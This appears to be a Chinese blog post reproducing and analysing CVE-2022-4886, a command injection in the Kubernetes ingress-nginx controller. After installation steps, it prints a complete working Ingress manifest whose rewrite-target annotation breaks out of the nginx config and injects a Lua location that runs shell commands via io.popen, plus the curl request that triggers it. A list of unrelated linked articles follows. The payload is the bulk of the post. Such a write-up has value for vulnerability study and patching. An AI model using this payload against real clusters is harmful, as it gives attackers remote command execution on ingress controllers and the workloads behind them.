CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
kaoa0005 小时前
Linux入门攻坚——62、memcached使用入门
linux·运维·memcached
model20056 小时前
alibaba linux3 系统盘清理
linux·运维·服务器
WG_176 小时前
Linux:动态库加载总结_进程间通信+进程池 + 进程IPC(27/28/29/30/31/32)
linux·运维·服务器
小赵还有头发6 小时前
安装 RealSense SDK (驱动层)
linux
Root_Hacker7 小时前
include文件包含个人笔记及c底层调试
android·linux·服务器·c语言·笔记·安全·php
微学AI8 小时前
内网穿透的应用-告别局域网束缚!MonkeyCode+cpolar 解锁 AI 编程新体验
linux·服务器·网络
宴之敖者、10 小时前
Linux——权限
linux·运维·服务器
刘叨叨趣味运维11 小时前
Linux性能排查实战:从“系统慢”到精准定位
linux
欣然~11 小时前
法律案例 PDF 批量转 TXT 工具代码
linux·前端·python
阮松云12 小时前
a start job is running for Builds and install new kernel modules through DKMS
linux·centos